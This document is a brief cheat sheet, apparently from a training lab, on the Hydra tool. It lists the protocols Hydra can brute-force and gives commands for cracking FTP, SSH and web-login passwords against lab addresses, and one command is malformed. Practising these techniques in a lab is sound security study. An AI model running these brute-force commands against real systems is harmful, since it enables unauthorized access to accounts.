Hydra is a brute force online password cracking program; a quick system login password ‘hacking’ tool.
Hydra has the ability to bruteforce the following protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For more information on the options of each protocol in Hydra, read the official Kali Hydra tool page: https://en.kali.tools/?p=220
Hydra Commands
FTP
hydra -l user -P passlist.txt ftp://MACHINE_IP
SSH
hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh
Post Web Form
hydra -l -P 10.10.69.6 http-post-form “/:username=^USER^&password=^PASS^:F=incorrect” -V
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.69.6 http-post-form “/login:username=^USER^&password=^PASS^:F=incorrect” -V
